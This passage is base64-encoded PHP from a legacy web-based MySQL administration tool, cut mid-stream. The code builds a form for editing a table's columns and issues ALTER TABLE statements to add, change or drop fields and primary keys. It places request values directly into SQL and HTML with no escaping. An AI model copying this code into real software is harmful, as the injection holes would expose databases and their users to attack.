BSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNI
T1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkJJG51bS
A9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCQlmb3Io
ICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZW
xkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJ
CQlpZiggJGZpZWxkWyJGaWVsZCJdID09ICRmaWVsZG5hbWUgKS
B7DQoJCQkJJGZpZWxkdHlwZSA9ICRmaWVsZFsiVHlwZSJdOw0K
CQkJCSRmaWVsZGtleSA9ICRmaWVsZFsiS2V5Il07DQoJCQkJJG
ZpZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJhIl07DQoJCQkJJGZp
ZWxkbnVsbCA9ICRmaWVsZFsiTnVsbCJdOw0KCQkJCSRmaWVsZG
RlZmF1bHQgPSAkZmllbGRbIkRlZmF1bHQiXTsNCgkJCQlicmVh
azsNCgkJCX0NCgkJfQ0KCQkkdHlwZSA9IHN0cnRvayggJGZpZW
xkdHlwZSwgIiAoLClcbiIgKTsNCgkJaWYoIHN0cnBvcyggJGZp
ZWxkdHlwZSwgIigiICkgKSB7DQoJCQlpZiggJHR5cGUgPT0gIm
VudW0iIHwgJHR5cGUgPT0gInNldCIgKSB7DQoJCQkJJHZhbHVl
bGlzdCA9IHN0cnRvayggIiAoKVxuIiApOw0KCQkJfSBlbHNlIH
sNCgkJCQkkTSA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCQlp
Ziggc3RycG9zKCAkZmllbGR0eXBlLCAiLCIgKSApDQoJCQkJCS
REID0gc3RydG9rKCAiICgsKVxuIiApOw0KCQkJfQ0KCQl9DQoJ
fQ0KDQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZS
AmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVjaG8gIjxmb3Jt
IGFjdGlvbj0kUEhQX1NFTEY+XG4iOw0KDQoJaWYoICRjbWQgPT
0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4g
bmFtZT1hY3Rpb24gdmFsdWU9YWRkRmllbGRfc3VibWl0PlxuIj
sNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsNCgkJZWNo
byAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbH
VlPWVkaXRGaWVsZF9zdWJtaXQ+XG4iOw0KCQllY2hvICI8aW5w
dXQgdHlwZT1oaWRkZW4gbmFtZT1vbGRfbmFtZSB2YWx1ZT0kZm
llbGRuYW1lPlxuIjsNCgl9DQoJZWNobyAiPGlucHV0IHR5cGU9
aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw
0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxl
bmFtZSB2YWx1ZT0kdGFibGVuYW1lPlxuIjsNCg0KCWVjaG8gIj
xoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9
dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbi
I7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCg0KPGZvbnQg
c2l6ZT0yPg0KKiBgTVwnIGluZGljYXRlcyB0aGUgbWF4aW11bS
BkaXNwbGF5IHNpemUuPGJyPg0KKiBgRFwnIGFwcGxpZXMgdG8g
ZmxvYXRpbmctcG9pbnQgdHlwZXMgYW5kIGluZGljYXRlcyB0aG
UgbnVtYmVyIG9mIGRpZ2l0cyBmb2xsb3dpbmcgdGhlIGRlY2lt
YWwgcG9pbnQuPGJyPg0KPC9mb250Pg0KDQo8dGFibGU+DQo8dH
I+DQo8dGg+VHlwZTwvdGg+PHRoPiZuYnNwTSZuYnNwPC90aD48
dGg+Jm5ic3BEJm5ic3A8L3RoPjx0aD51bnNpZ25lZDwvdGg+PH
RoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD4NCjwvdHI+
DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eX
BlIHZhbHVlPSJUSU5ZSU5UIiAnOyBpZiggJHR5cGUgPT0gInRp
bnlpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllJTl
QgKC0xMjggfiAxMjcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+
TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbn
Rlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8
dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdX
QgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNNQUxMSU5U
IiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gIm
NoZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3
NjcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dG
Q+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4N
Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3
RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRp
byBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUlOVCIgJzsgaWYoIC
R0eXBlID09ICJtZWRpdW1pbnQiICkgZWNobyAiY2hlY2tlZCI7
ZWNobyAnPk1FRElVTUlOVCAoLTgzODg2MDggfiA4Mzg4NjA3KT
wvdGQ+DQoNCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+
Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCj
x0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3Rk
Pg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpby
BuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09
ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLT
IxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxp
Z249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZC
BhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVy
Pk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQ
o8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl
PSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIG
VjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcy
MDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3
RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJz
cDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIG
FsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8
L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbW
U9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAi
ZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC
90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxp
Z249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZC
BhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0K
PC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW
1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09
ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVU
JMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRk
IGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQ
o8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90
ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW
8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5
cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNoby
AnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNl
bnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQ
o8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90
ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPj
xpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFU
RSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZW
NrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0x
Mi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD
4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRk
PiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPH
RyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2
YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZX
RpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1F
ICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMz
o1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRk
PiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3
A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+
DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG
5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5
cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2
hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4g
MjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCj
x0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3Rk
Pg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dG
Q+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQg
dHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IG
lmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtl
Y2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSE
g6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5i
c3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdG
Q+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48
aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQV
IiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVj
a2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIF
lZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8
L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQ
o8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5w
dXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiIC
c7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2Vk
IjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk
88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+
DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC
90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFk
aW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJH
R5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC
90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0K
PHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdG
Q+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlv
IG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdH
lwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNo
byAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3
A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+
DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdH
I+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10
eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleH
QiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2
NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcD
wvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4N
Cjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbn
B1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVN
VEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIG
VjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4g
MTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm
5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwv
dGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD
48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxP
TkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIG
VjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQy
OTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm
5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwv
dGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD
48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJ
TllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIG
VjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1
NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdG
Q+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0
ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dC
B0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsg
aWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2
VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJz
cDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD
4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90
cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPX
R5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9
PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvIC
c+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+
Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcD
wvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4N
CjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbm
FtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBl
ID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvIC
c+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+
Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcD
wvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4N
CjwvdHI+IA0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG
5hbWU9dHlwZSB2YWx1ZT0iRU5VTSIgJzsgaWYoICR0eXBlID09
ICJlbnVtIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5FTlVNPC
90ZD4NCjx0ZCBjb2xzcGFuPTU+PGNlbnRlcj52YWx1ZSBsaXN0
PC9jZW50ZXI+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucH
V0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJTRVQiICc7
IGlmKCAkdHlwZSA9PSAic2V0IiApIGVjaG8gImNoZWNrZWQiO2
VjaG8gJz5TRVQ8L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVy
PnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCg0KPC
90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8
L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD
48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwn
YXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD
48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQg
dHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9IC
IiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRk
IGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NC
BuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9
JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW
5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVl
PSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZS
wgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAn
PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPW
NoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxM
IiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbG
wiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0
ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbm
FtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBv
cyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaG
Vja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+
PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaX
N0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFs
dWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj
4NCjwvdGFibGU+DQoNCg0KPGgzPkZsYWdzPC9oMz4NCjx0YWJs
ZT4NCjx0cj48dGg+bm90IG51bGw8L3RoPjx0aD5kZWZhdWx0IH
ZhbHVlPC90aD48dGg+YXV0byBpbmNyZW1lbnQ8L3RoPjx0aD5w
cmltYXJ5IGtleTwvdGg+PC90cj4NCjx0cj4NCjx0ZCBhbGlnbj
1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1ub3Rf
bnVsbCB2YWx1ZT0iTk9UIE5VTEwiICc7IGlmKCAkZmllbGRudW
xsICE9ICJZRVMiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwv
dGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleH
QgbmFtZT1kZWZhdWx0X3ZhbHVlICc7IGlmKCAkZmllbGRkZWZh
dWx0ICE9ICIiICkgZWNobyAidmFsdWU9JGZpZWxkZGVmYXVsdC
I7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1
dCB0eXBlPWNoZWNrYm94IG5hbWU9YXV0b19pbmNyZW1lbnQgdm
FsdWU9IkFVVE9fSU5DUkVNRU5UIiAnOyBpZiggJGZpZWxkZXh0
cmEgPT0gImF1dG9faW5jcmVtZW50IiApIGVjaG8gImNoZWNrZW
QiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5w
dXQgdHlwZT1jaGVja2JveCBuYW1lPXByaW1hcnlfa2V5IHZhbH
VlPSJQUklNQVJZIEtFWSIgJzsgaWYoICRmaWVsZGtleSA9PSAi
UFJJIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPg0KPC
90cj4NCjwvdGFibGU+DQoNCjxwPic7DQoNCglpZiggJGNtZCA9
PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdC
B2YWx1ZT0nQWRkIEZpZWxkJz5cbiI7DQoJZWxzZSBpZiggJGNt
ZCA9PSAiZWRpdCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdW
JtaXQgdmFsdWU9J0VkaXQgRmllbGQnPlxuIjsNCgllY2hvICI8
aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9Q2FuY2VsIG9uQ2xpY2
s9J2hpc3RvcnkuYmFjaygpJz5cbiI7DQoJZWNobyAiPC9mb3Jt
PlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGRfc3VibW
l0KCAkY21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRk
Ym5hbWUsICR0YWJsZW5hbWUsICRvbGRfbmFtZSwgJG5hbWUsIC
R0eXBlLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZywN
CgkJJE0sICRELCAkdW5zaWduZWQsICR6ZXJvZmlsbCwgJGJpbm
FyeSwgJG5vdF9udWxsLCAkZGVmYXVsdF92YWx1ZSwgJGF1dG9f
aW5jcmVtZW50LCAkcHJpbWFyeV9rZXksICR2YWx1ZWxpc3Q7DQ
oNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9
ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCAkbmFtZSAiOw
0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJJHF1ZXJ5
U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQ0hBTkdFIC
RvbGRfbmFtZSAkbmFtZSAiOw0KCQ0KCWlmKCAkTSAhPSAiIiAp
DQoJCWlmKCAkRCAhPSAiIiApDQoJCQkkcXVlcnlTdHIgLj0gIi
R0eXBlKCRNLCREKSAiOw0KCQllbHNlDQoJCQkkcXVlcnlTdHIg
Lj0gIiR0eXBlKCRNKSAiOw0KCWVsc2UgaWYoICR2YWx1ZWxpc3
QgIT0gIiIgKSB7DQoJCSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNo
ZXMoICR2YWx1ZWxpc3QgKTsNCgkJJHF1ZXJ5U3RyIC49ICIkdH
lwZSgkdmFsdWVsaXN0KSAiOw0KCX0gZWxzZQ0KCQkkcXVlcnlT
dHIgLj0gIiR0eXBlICI7DQoNCgkkcXVlcnlTdHIgLj0gIiR1bn
NpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KDQoJaWYoICRk
ZWZhdWx0X3ZhbHVlICE9ICIiICkNCgkJJHF1ZXJ5U3RyIC49IC
JERUZBVUxUICckZGVmYXVsdF92YWx1ZScgIjsNCgkNCgkkcXVl
cnlTdHIgLj0gIiRub3RfbnVsbCAkYXV0b19pbmNyZW1lbnQiOw
0KDQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxI
YW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbX
lzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3Io
KTsNCg0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZm
Fsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBL
RVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9IC
IiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXko
JHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PS
AiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFt
ZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw
0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29s
dW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT
0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwg
JG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQ
oJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiAp
Ow0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID
0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZ
IEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcn
lTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAi
PGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVE
VSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAk
cHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCS
RxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNn
IC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoNCg
l2aWV3U2NoZW1hKCk7DQp9DQoNCmZ1bmN0aW9uIGRyb3BGaWVs
ZCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLC
AkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRx
dWVyeVN0ciwgJGVyck1zZzsNCg0KCSRxdWVyeVN0ciA9ICJBTF
RFUiBUQUJMRSAkdGFibGVuYW1lIERST1AgQ09MVU1OICRmaWVs
ZG5hbWUiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG
